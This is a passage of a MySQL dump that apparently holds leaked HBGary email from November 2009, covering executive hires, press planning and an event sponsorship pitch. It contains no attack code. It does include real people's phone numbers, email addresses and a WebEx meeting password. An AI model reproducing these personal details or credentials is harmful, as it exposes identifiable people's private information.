[cut: only the first 33554432 bytes of this file were read]
-- MySQL dump 10.11
--
-- Host: localhost    Database: hbgary
-- ------------------------------------------------------
-- Server version	5.0.77

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Table structure for table `emails`
--

DROP TABLE IF EXISTS `emails`;
SET @saved_cs_client     = @@character_set_client;
SET character_set_client = utf8;
CREATE TABLE `emails` (
  `Id` int(11) NOT NULL default '0',
  `EmailDate` date default '0001-01-01',
  `SentFrom` varchar(600) default NULL,
  `FileName` varchar(300) default NULL,
  `SentTo` text,
  `Subject` varchar(300) default NULL,
  `Body` longtext,
  `AnonopsId` int(11) default NULL,
  `link` varchar(100) NOT NULL,
  PRIMARY KEY  (`Id`),
  FULLTEXT KEY `Body` (`Body`,`Subject`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
SET character_set_client = @saved_cs_client;

--
-- Dumping data for table `emails`
--

LOCK TABLES `emails` WRITE;
/*!40000 ALTER TABLE `emails` DISABLE KEYS */;
INSERT INTO `emails` VALUES (1,'2009-11-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999589.M233853P3547Q1.eml','ted@hbgary.com,aaron@hbgary.com','Need to announce you two to HBGary',' \r\nTed, Aaron,\r\n \r\nI need to write an announcement to the company - can you guys each give me a very short bio (1 paragraph) I can use for this.\r\n \r\n-Greg\r\n',9765,'aaron_hbgary_com/9765.html'),(2,'2009-11-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999589.M687685P3547Q2.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Re: Need to announce you two to HBGary','Sure thing.  I will get it to you in the morning.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Nov 22, 2009, at 10:53 PM, Greg Hoglund  wrote:\r\n\r\n>\r\n> Ted, Aaron,\r\n>\r\n> I need to write an announcement to the company - can you guys each\r\n> give me a very short bio (1 paragraph) I can use for this.\r\n>\r\n> -Greg\r\n',9244,'aaron_hbgary_com/9244.html'),(3,'2009-11-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999589.M929305P3547Q3.eml','all@hbgary.com','End of decade log post',' \r\nTeam,\r\n \r\nI posted a lengthy blog on the end of decade in security, and put out a few predictions for the next 10 years.\r\n \r\nhttp://fasthorizon.blogspot.com/2009/11/not-kind-not-gentle-turn-of-decade-in.html\r\n \r\n-Greg \r\n',1679,'aaron_hbgary_com/1679.html'),(4,'2009-11-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999590.M226824P3547Q4.eml','aaron@hbgary.com','Do you know John Arqtangent?','Do you anything about this guy:\r\n \r\nhttp://blog.afcyber.us/\r\n \r\nIt&#39;s interesting that he posts this blog.  \r\n \r\n-Greg\r\n',15076,'aaron_hbgary_com/15076.html'),(5,'2009-11-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999590.M436245P3547Q5.eml','aaron@hbgary.com','Re: Need to announce you two to HBGary','Ugh.  I hate talking about myself.  How&#39;s this for a draft?\r\nTed Vera has 20 years of IT experience, with a proven track record of winning and executing US Government contracts within the DoD and Intelligence Community.  He has a breadth of IT experience, having excelled in positions including:  system administrator, website developer, system engineer, system security engineer and program manager.  He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures.  Prior to joining HBGary Federal, Mr. Vera lead the Netcentric Information Operations Department for Northrop Grumman Information Systems.  In this role, he managed over forty personnel and was responsible for contracts valued over $25M.\r\n\r\n',13996,'aaron_hbgary_com/13996.html'),(6,'2009-11-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999590.M645899P3547Q6.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Do you know John Arqtangent?','Yeah this guy is off his rocker.  I have lost track of who is on the current &quot;short list&quot; for cyber czar, but in august I knew who was on it and he wasn&#39;t one of the 3.  Sam Visner over at CSC just told me who he was hearing was the top guy on the list but I didn&#39;t recognize his name from previous lists which included Paul kurtz, Scott charney, and Melissa Hathaway.  But none of these folks want the job.  I talked to Melissa while she was conducting her 60 day review for the whitehouse, she knew then she wasn&#39;t going to go for the job.  She said her biggest frustration was the interagency politics that was keeping us from making real progress.\r\n Can&#39;t sleep...    From my iPhoneOn Nov 22, 2009, at 11:39 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\nDo you anything about this guy:\r\n \r\nhttp://blog.afcyber.us/\r\n \r\nIt&#39;s interesting that he posts this blog.  \r\n \r\n-Greg\r\n\r\n',1642,'aaron_hbgary_com/1642.html'),(7,'2009-11-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999590.M862890P3547Q7.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: End of decade log post','Good post.  It&#39;s going to be fun to sit down and brainstorm/discuss cybersecurity.  Your in depth knowledge of the problem space, Teds and my background in government and on the classified side.  \r\nMy prediction for what will replace AV... Heuristic/active host based sensors with a splash of DRM.AaronFrom my iPhoneOn Nov 22, 2009, at 11:30 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nTeam,\r\n \r\nI posted a lengthy blog on the end of decade in security, and put out a few predictions for the next 10 years.\r\n \r\nhttp://fasthorizon.blogspot.com/2009/11/not-kind-not-gentle-turn-of-decade-in.html\r\n\r\n \r\n-Greg \r\n\r\n',13997,'aaron_hbgary_com/13997.html'),(8,'2009-11-23','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1296999591.M233191P3547Q8.eml','all@hbgary.com','Welcome Aaron Barr and Ted Vera to the HBGary management team!','I am extremely excited to announce that Aaron Barr and Ted Vera have joined the HBGary team!  Ted and Aaron will operate and lead HBGary Federal, a wholly owned subsidiary of HBGary, with a focus on contracting in the government space.  They are very experienced and most recently built a $10 million/year business at Northrop Grumman.  Both have won and lead multi-million dollar development projects and managed substantial teams.  We have known Aaron and Ted for more than 5 years.  These two are A+ players in the DoD contracting space and are able to “walk the halls” in customer spaces. Some very big players made offers to Ted and Aaron last week, and instead they chose HBGary.  This reflects extremely well on our company.  &quot;A&quot; players attract &quot;A&quot; players.  Aaron will take position as CEO of HBGary Federal, and will be operating out of the DC area. Ted will take position as President and COO of HBGary Federal, and will be operating out of Colorado Springs.  Welcome aboard!\r\n\r\n \r\n-Greg Hoglund\r\nCEO, HBGary, Inc.\r\n',10948,'aaron_hbgary_com/10948.html'),(9,'2009-11-23','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1296999591.M477632P3547Q9.eml','\"Greg Hoglund\" <greg@hbgary.com>,all@hbgary.com','RE: Welcome Aaron Barr and Ted Vera to the HBGary management team!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nWelcome aboard Aaron and Ted!&nbsp; We&#8217;re very excited to\r\nhave you guys on the team and expect great things in 2010!\r\n\r\n&nbsp;\r\n\r\nMy best,\r\nRich\r\n\r\n&nbsp;\r\n\r\nRich Cummings | CTO | HBGary, Inc.\r\n\r\nOffice 301-652-8885 x112\r\n\r\nCell Phone 703-999-5012\r\n\r\nWebsite:&nbsp; www.hbgary.com |email: rich@hbgary.com\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, November 23, 2009 11:14 AM\r\nTo: all@hbgary.com\r\nSubject: Welcome Aaron Barr and Ted Vera to the HBGary management team!\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nI\r\nam extremely excited to announce that Aaron Barr and Ted Vera have joined the\r\nHBGary team!&nbsp; Ted and Aaron will operate and lead HBGary Federal, a wholly\r\nowned subsidiary of HBGary, with a focus on contracting in the government\r\nspace.&nbsp; They are very experienced and most recently built a $10\r\nmillion/year business at Northrop Grumman.&nbsp; Both have won and lead\r\nmulti-million dollar development projects and managed substantial teams.&nbsp;\r\nWe have known Aaron and Ted for more than 5 years.&nbsp; These two are A+\r\nplayers in the DoD contracting space and are&nbsp;able to &#8220;walk the\r\nhalls&#8221; in customer spaces. Some very big players made offers to Ted and\r\nAaron last week, and instead they chose HBGary.&nbsp; This reflects extremely\r\nwell on our company.&nbsp; &quot;A&quot; players attract &quot;A&quot; players.\r\n&nbsp;Aaron will take position as CEO of HBGary Federal, and will be operating\r\nout of the DC area. Ted will take position as President and COO of HBGary\r\nFederal, and will be operating out of Colorado Springs.&nbsp; Welcome aboard!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n-Greg\r\nHoglund\r\n\r\n\r\n\r\n\r\n\r\nCEO,\r\nHBGary, Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1712,'aaron_hbgary_com/1712.html'),(10,'2009-11-23','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1296999591.M790862P3547Q10.eml','all@hbgary.com','Time off today and tomorrow -','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\nI will be taking the rest of today and tomorrow off.&nbsp;\r\nPlease feel free to reach me on my cell if anything comes up.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf I don&#8217;t speak with some of you before Wednesday I\r\nwish you all a very Happy Thanksgiving.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nRich\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4926,'aaron_hbgary_com/4926.html'),(11,'2009-11-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999592.M296170P3547Q12.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Title','I don&#39;t have any headshots. I imagine you have a whole portfolio...Sent from my iPhoneBegin forwarded message:\r\nFrom: Penny Hoglund &lt;penny@hbgary.com&gt;Date: November 23, 2009 10:54:11 AM MSTTo: &#39;Ted Vera&#39; &lt;tedvera@me.com&gt;\r\nSubject: RE: TitleHey Ted,Can we talk today?  I am at 916-459-4727 ext 105.  I have Karen Burke our PR\r\nperson putting together a press release about you and Aaron.  Do you havebios or headshots for either of you?  Also we want to reiterate the goalsfor HBGary fed and I need some help on Google docs and greg said you are the\r\nman.  I have legal docs you guys will need-----Original Message-----From: Ted Vera [mailto:tedvera@me.com] Sent: Sunday, November 22, 2009 10:11 AM\r\nTo: greg@hbgary.com; penny@hbgary.comSubject: TitleIf it&#39;s not too late, and since I haven&#39;t received the letter yet, I&#39;d  \r\nlike my title to be President &amp; COO, which seems to be the standard in  the industry.Thanks,TedSent from my iPhone\r\n\r\n',8961,'aaron_hbgary_com/8961.html'),(12,'2009-11-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999592.M641778P3547Q13.eml','\"Penny Leavy\" <penny@hbgary.com>','Supplies','Hi penny,\r\n\r\nHow do I go about ordering a cputer and peripherals, paying for the\r\nconference next week, and business cards.\r\n\r\nThanks,\r\nAaron\r\n\r\n From my iPhone\r\n',6566,'aaron_hbgary_com/6566.html'),(13,'2009-11-23','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999592.M859970P3547Q14.eml','aaron@hbgary.com','Out of Office Re: Supplies',' I am currently out of the office from November 16-21, I\'ll return on\r\nthe 23rd.  You can leave me a message or call DeeAnn at extension 101\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',7913,'aaron_hbgary_com/7913.html'),(14,'2009-11-23','ted@hbgary.com','/aaron@hbgary.com/new/1296999592.M90038P3547Q11.eml','aaron@hbgary.com','Questions for Penny & Greg:','I\'ve shared a document with you:\r\n\r\nQuestions for Penny & Greg:\r\nhttps://docs.google.com/a/hbgary.com/Doc?docid=0Abu9N_XVzxNhZHFuNjV3dF8waHA2YjJzZjY&hl=en&invite=CPSJ_HE\r\n\r\nIt\'s not an attachment -- it\'s stored online at Google Docs. To open this  \r\ndocument, just click the link above.\r\n\r\n',4104,'aaron_hbgary_com/4104.html'),(15,'2009-11-23','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999593.M162081P3547Q15.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Supplies','Hey Aaron,\r\n\r\nGive me a call 916-459-4727 ext 105\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, November 23, 2009 10:14 AM\r\nTo: Penny Leavy\r\nSubject: Supplies\r\n\r\nHi penny,\r\n\r\nHow do I go about ordering a cputer and peripherals, paying for the\r\nconference next week, and business cards.\r\n\r\nThanks,\r\nAaron\r\n\r\n From my iPhone\r\n\r\n',15262,'aaron_hbgary_com/15262.html'),(16,'2009-11-23','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999601.M436638P3547Q16.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: GTRA Council Meeting','\r\n\r\n\r\n\r\n\r\n\r\nFW: GTRA Council Meeting\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHere you go\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Kelly Yocum\r\n[mailto:kellyy@gtra.org] \r\nSent: Monday, October 19, 2009 11:33 AM\r\nTo: penny@hbgary.com\r\nSubject: FW: GTRA Council Meeting\r\nImportance: High\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi\r\nPenny,\r\n\r\nI am following up regarding the information I sent for the upcoming council\r\nmeeting. \r\n\r\nWe want to include you in all of the pre-event marketing which includes\r\nannouncements this week and government invitations next week so we should get\r\nsomething confirmed in the next couple days if possible. Please let me know if\r\nyour team has any questions!\r\n\r\nBest Regards,\r\n\r\nKelly\r\n\r\n\r\n------ Forwarded Message\r\nFrom: Kelly Yocum &lt;kellyy@gtra.org&gt;\r\nDate: Thu, 08 Oct 2009 13:51:06 -0400\r\nTo: &quot;Penny C. Leavy&quot; &lt;penny@hbgary.com&gt;\r\nSubject: GTRA Council Meeting\r\n\r\nHi Penny,\r\n\r\nIt was truly a pleasure meeting you! \r\n\r\nAttached are the standard pricing options and a custom proposal. As you will\r\nsee, I took a bit more than 10% off the standard pricing in the proposal. The\r\nsponsorship also includes a FREE 6 month membership so I also included\r\nthe member information so you can see what you receive. \r\n\r\nThe GTRA Council Meeting December 6-8 www.GTRACouncilMeeting.org is\r\ncomprised of the federal Chief Enterprise Architects, CIO&#8217;s, CTO\'s, Chief Security\r\nOfficers and Directors from almost all agencies focused on enterprise\r\narchitecture, cloud computing, data/knowledge/information management, security,\r\nand IT services/support solutions. &nbsp;You can view the council members at\r\nwww.GTRA.org/council to see council participants you will meet with at the\r\nmeeting. \r\n\r\nHBGary would be leading a series of collaboration strategy meetings with groups\r\nof senior government executives as an industry thought leader and subject\r\nmatter expert to discuss their challenges, initiatives and solutions needed for\r\ntheir departments. In addition to the strategy meetings, you also have the\r\nopportunity to lead a live product demonstration, panel or break-out. &nbsp;Meeting\r\npackage includes:\r\n\r\n&nbsp;&nbsp;&nbsp;- Pre-event qualification, selection and scheduling\r\n&nbsp;&nbsp;&nbsp;- View confirmed government profiles (budget, department\r\nsize, areas of interest, etc.) \r\n&nbsp;&nbsp;&nbsp;- Select the executives you want to participate in your\r\nroundtables \r\n&nbsp;&nbsp;&nbsp;- Government executives view your roundtable topic and\r\nsolutions profile \r\n&nbsp;&nbsp;&nbsp;- Confirmed customized itinerary with pre-selected and\r\npre-scheduled executives \r\n&nbsp;&nbsp;&nbsp;- We confirm and schedule all meetings for you\r\n&nbsp;&nbsp;&nbsp;- Full access to all government presentations, networking\r\nfunctions, entertainment, events, etc. \r\n&nbsp;&nbsp;&nbsp;- Automatic entry for awards voted for by attending\r\ngovernment officials \r\n&nbsp;&nbsp;&nbsp;- ½ Page ad in event brochure with company logo, summary,\r\nsolutions grid and contact information \r\n&nbsp;&nbsp;&nbsp;- Company profile listed in the GTRA Government Buyer&#8217;s Guide\r\n\r\n&nbsp;&nbsp;&nbsp;- Logo posted on website, collateral, announcements,\r\ngovernment invitations, event documentation, etc. \r\n&nbsp;&nbsp;&nbsp;- VIP invitations for you to invite government clients and\r\nprospects at a reduced rate \r\n&nbsp;&nbsp;&nbsp;- News Site GOVTek.org: &nbsp;Post white papers, case\r\nstudies, press releases, webinars, podcasts\r\n\r\nPartial List of Featured Participants for December (3 weeks prior to the\r\nmeeting you will receive access to full profiles on all government\r\nparticipants to select who you want for your break-out meetings):\r\n\r\nDr. Peter Alterman, Senior Advisor for Strategic Initiatives, NIH\r\nDr. Suzanna Acar, Principal Data Architect, FBI\r\nScott Bernard, Deputy Chief Information Officer, Federal Railroad\r\nAdministration, Transportation\r\nDevon Bryan, Director, Cyber Security Operations, IRS\r\nAvi Bender, Director, Enterprise Architecture, IRS\r\nTom Boyce, Deputy Chief Information Officer, NRC\r\nEarl Crane, Chief Information Security Architect, DHS (tentative)\r\nDoreen Cox, Chief Enterprise Architect, Customs and Border Protectio\r\nRich Ferguson, Chief Information Officer, Federal Labor Relations Authority\r\nScott Flood, Chief Modeling Division, US Army Manpower Analysis Agency\r\nKen Griffey, Chief Information Officer, Stennis Space Center, NASA\r\nChris Garcia, Director, Cyber Security and Incident Response Center, FAA\r\nMarlene Howze, Chief Enterprise Architect, EA Program Manager, Labor\r\nRandolph Hite, Director, IT Architecture &amp; Systems Issues, GAO\r\nDeborah Lafky, Security Lead, Office of the National Coordinator for Health\r\nInformation Technology (ONC), HHS\r\nBob Lentz, Chief Information Assurance Officer, DoD\r\nTan Luong, Chief Enterprise Architect, US Mint\r\nRandy Maples, Deputy CIO - Management, FTC\r\nPeter Mell, Cloud Computing Project Lead, Senior Computer Scientist, NIST\r\nRoger Mahach, Chief Information Security Officer, OCC, Treasury\r\nLinda McCaw, Program Executive for E-Government, SSA\r\nMike McFarren, Senior Principal, Information Systems Engineer, MITRE\r\nLori Pettebone-Maatta, Director, Division of Enterprise Architecture Program\r\nManagement, HHS\r\nWalt Okon, Senior Architect Engineer, Enterprise Architecture &amp; Standards,\r\nDoD\r\nRichard Prentiss, Chief Information Security Officer, OTS, Treasury\r\nDonna Roy, Executive Director, NIEM\r\nRon Ross, Senior Computer Scientist, NIST\r\nDavid Stender, Chief Information Security Officer, IRS\r\nRene Smeraglia, Chief Information Security Officer, US MINT\r\nTim Schmidt, Chief Technology Officer, Transportation\r\nDerek Scarbrough, Chief Information Officer, IMLS\r\nJim Trinka, Director, Technical Training and Development, FAA\r\nPaul Tibbits, Deputy Chief Information Officer, Office of Enterprise Development,\r\nVA\r\nSteven Van Arsdel, Information Systems Security Officer, Labor\r\nEric Won, Chief Technologist, GSA\r\nDiane Woodson Reeves, Business Architect, Interior\r\nCol. Douglas Wreath, Director, Net Centric Operations Division, US Air Force\r\nPhilip Wenger, Deputy Policy Lead for Budget Formulation and Execution LoB, OMB\r\nBrandt Welker, Deputy CTO, Veterans Affairs\r\nDr. Robert &quot;Rocky&quot; Young, Associate Professor of Systems Management,\r\nNDU\r\nDavid Zeppieri, Chief Information Officer, OPIC \r\n\r\nGroup Roundtable Boardroom Meeting Benefits:\r\n\r\n&nbsp;&nbsp;&nbsp;- Put limited budget into contractually guaranteed business\r\ngenerating meetings versus low ROI tradeshows \r\n&nbsp;&nbsp;&nbsp;- Invitation-only for both government and industry \r\n&nbsp;&nbsp;&nbsp;- Only GS-15 and higher representation from government \r\n&nbsp;&nbsp;&nbsp;- Gain strategic insight on RFP&#8217;s to tailor proposals and\r\ngain competitive advantage\r\n&nbsp;&nbsp;&nbsp;- Increase your chance at winning contracts \r\n&nbsp;&nbsp;&nbsp;- Reduces a traditional government procurement sales cycle by\r\n6-12 months \r\n&nbsp;&nbsp;&nbsp;- Qualify the government executives prior to the event and\r\nprepare in advance for meetings \r\n&nbsp;&nbsp;&nbsp;- Face time with some of the most senior government decision\r\nmakers \r\n&nbsp;&nbsp;&nbsp;- Build out-of-office relationships instead of traditional\r\n&#8220;sales pitching&#8221; in their DC office \r\n&nbsp;&nbsp;&nbsp;- Ethically dine and entertain top government executives in\r\nways you can&#8217;t directly do on your own \r\n&nbsp;&nbsp;&nbsp;- Government pay to attend, thus showing their commitment to\r\nthis meeting \r\n&nbsp;&nbsp;&nbsp;- Avoid a traditional tradeshow-like environment where\r\nimpersonal meet-and-greet only generates cold leads \r\n&nbsp;&nbsp;&nbsp;- View confirmed executives and profile information prior to\r\nevent and know exactly who is participating\r\n\r\n*Please note &#8211; you receive 6 months FREE marketing/promotions/advertising\r\nwhen you book for an event. \r\n\r\nHere is a link to our most recent testimonials/videos: http://gtra.org/testimonials\r\n\r\n\r\nPlease let me know if you have any questions or feel free to call my cell if\r\nyou want to run through the options!\r\n\r\nBest Regards,\r\n\r\nKelly Yocum\r\nCo-Founder &amp; Executive Director\r\nGovernment Technology Research Alliance \r\n(GTRA)\r\n1701 Pennsylvania Ave, NW\r\nSuite 300\r\nWashington DC, 20006\r\n202.248.5411 Office\r\n415.596.5000 Mobile\r\n202.351.0569 Fax\r\nwww.GTRA.org \r\nwww.GTRACouncilMeeting.org\r\n\r\nwww.twitter.com/gtra\r\n\r\nGTRA &#8211; Revolutionizing Government Collaboration For Solutions &amp; Innovation!\r\n\r\n\r\n------ End of Forwarded Message\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12993,'aaron_hbgary_com/12993.html'),(17,'2009-11-23','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999622.M603070P3547Q17.eml','\"Ted Vera\" <tedvera@me.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Karen Burke\" <karenmaryburke@yahoo.com>','FW: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nKaren,\r\n\r\n&nbsp;\r\n\r\nI’m copying Ted and Aaron, you guys coordinate\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Karen Burke\r\n[mailto:karenmaryburke@yahoo.com] \r\nSent: Monday, November 23, 2009 9:44 AM\r\nTo: Penny Hoglund\r\nSubject: Re: FW: Welcome Aaron Barr and Ted Vera to the HBGary\r\nmanagement team!\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n \r\n  \r\n  Great Penny. I can draft release for possible release on\r\n  Monday November 30th. Do we have bios (and headshots) of both execs? If not,\r\n  I\'m sure I can find online somewhere. Also, I think we need to use release to\r\n  highlight HBGary Federal business objectives -- do you have a few bulletpoint\r\n  that you could send? Thanks, Karen&nbsp;\r\n  \r\n  --- On Mon, 11/23/09, Penny Hoglund &lt;penny@hbgary.com&gt;\r\n  wrote:\r\n  \r\n  From: Penny Hoglund &lt;penny@hbgary.com&gt;\r\n  Subject: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!\r\n  To: &quot;\'Karen Burke\'&quot; &lt;karenmaryburke@yahoo.com&gt;\r\n  Date: Monday, November 23, 2009, 9:29 AM\r\n  \r\n  \r\n  We\r\n  need a press release for this\r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  From: Greg Hoglund\r\n  [mailto:greg@hbgary.com] \r\n  Sent: Monday, November 23, 2009 8:14 AM\r\n  To: all@hbgary.com\r\n  Subject: Welcome Aaron Barr and Ted Vera to the HBGary management\r\n  team!\r\n  \r\n  &nbsp;\r\n  I am extremely excited to announce\r\n  that Aaron Barr and Ted Vera have joined the HBGary team!&nbsp; Ted and Aaron\r\n  will operate and lead HBGary Federal, a wholly owned subsidiary of HBGary,\r\n  with a focus on contracting in the government space.&nbsp; They are very\r\n  experienced and most recently built a $10 million/year business at Northrop\r\n  Grumman.&nbsp; Both have won and lead multi-million dollar development\r\n  projects and managed substantial teams.&nbsp; We have known Aaron and Ted for\r\n  more than 5 years.&nbsp; These two are A+ players in the DoD contracting\r\n  space and are&nbsp;able to “walk the halls” in customer spaces. Some very big\r\n  players made offers to Ted and Aaron last week, and instead they chose\r\n  HBGary.&nbsp; This reflects extremely well on our company.&nbsp;\r\n  &quot;A&quot; players attract &quot;A&quot; players.&nbsp; Aaron will take\r\n  position as CEO of HBGary Federal, and will be operating out of the DC area.\r\n  Ted will take position as President and COO of HBGary Federal, and will be\r\n  operating out of Colorado Springs.&nbsp; Welcome aboard!\r\n  &nbsp;\r\n  \r\n  -Greg Hoglund\r\n  \r\n  \r\n  CEO, HBGary, Inc.\r\n  \r\n  \r\n \r\n\r\n\r\n\r\n__________________________________________________\r\nDo You Yahoo!?\r\nTired of spam? Yahoo! Mail has the best spam protection around \r\nhttp://mail.yahoo.com \r\n\r\n\r\n\r\n\r\n\r\n\r\n',113,'aaron_hbgary_com/113.html'),(18,'2009-11-23','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1296999622.M852205P3547Q18.eml','\"Penny Hoglund\" <penny@hbgary.com>,\"Penny Hoglund\" <penny@hbgary.com>,','Re: Welcome Aaron Barr and Ted Vera to the HBGary management team!','Hi Karen,Aaron and I are drafting bios, business objectives and will dig up headshots for you. &nbsp;What is the suspense date you need these by?Regards,TedOn Nov 23, 2009, at 11:31 AM, Penny Hoglund wrote:Karen,&nbsp;I’m copying Ted and Aaron, you guys coordinate&nbsp;From:&nbsp;Karen Burke [mailto:karenmaryburke@yahoo.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 9:44 AMTo:&nbsp;Penny HoglundSubject:&nbsp;Re: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!&nbsp;Great Penny. I can draft release for possible release on Monday November 30th. Do we have bios (and headshots) of both execs? If not, I\'m sure I can find online somewhere. Also, I think we need to use release to highlight HBGary Federal business objectives -- do you have a few bulletpoint that you could send? Thanks, Karen&nbsp;--- On&nbsp;Mon, 11/23/09, Penny Hoglund&nbsp;&lt;penny@hbgary.com&gt;&nbsp;wrote:From: Penny Hoglund &lt;penny@hbgary.com&gt;Subject: FW: Welcome Aaron Barr and Ted Vera to the HBGary management team!To: \"\'Karen Burke\'\" &lt;karenmaryburke@yahoo.com&gt;Date: Monday, November 23, 2009, 9:29 AMWe need a press release for this&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Monday, November 23, 2009 8:14 AMTo:&nbsp;all@hbgary.comSubject:&nbsp;Welcome Aaron Barr and Ted Vera to the HBGary management team!&nbsp;I am extremely excited to announce that Aaron Barr and Ted Vera have joined the HBGary team!&nbsp; Ted and Aaron will operate and lead HBGary Federal, a wholly owned subsidiary of HBGary, with a focus on contracting in the government space.&nbsp; They are very experienced and most recently built a $10 million/year business at Northrop Grumman.&nbsp; Both have won and lead multi-million dollar development projects and managed substantial teams.&nbsp; We have known Aaron and Ted for more than 5 years.&nbsp; These two are A+ players in the DoD contracting space and are&nbsp;able to “walk the halls” in customer spaces. Some very big players made offers to Ted and Aaron last week, and instead they chose HBGary.&nbsp; This reflects extremely well on our company.&nbsp; \"A\" players attract \"A\" players.&nbsp; Aaron will take position as CEO of HBGary Federal, and will be operating out of the DC area. Ted will take position as President and COO of HBGary Federal, and will be operating out of Colorado Springs.&nbsp; Welcome aboard!&nbsp;-Greg HoglundCEO, HBGary, Inc.__________________________________________________Do You Yahoo!?Tired of spam? Yahoo! Mail has the best spam protection around&nbsp;http://mail.yahoo.com',841,'aaron_hbgary_com/841.html'),(19,'2009-11-23','\"Scott Pease\" <messenger@webex.com>','/aaron@hbgary.com/new/1296999623.M313555P3547Q20.eml','aaron@hbgary.com','Please join now, meeting in progress: portal demo','Hello ,   Please join my meeting that is currently in progress.   Topic: portal demo  Date: Monday, November 23, 2009  Time: 11:55 am, Pacific Standard Time (San Francisco, GMT-08:00)  Meeting Number: 571 847 870  Meeting Password: 123qwe    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=135078802&UID=1103899382&PW=NZmZkMzQwMmFl&RT=MiM0  2. Enter your name and email address.  3. Enter the meeting password: 123qwe  4. Click &quot;Join Now&quot;.  5. Follow the instructions that appear on your screen.   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/e.php?AT=MI&EventID=135078802&UID=1103899382&PW=NZmZkMzQwMmFl&ORT=MiM0   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: 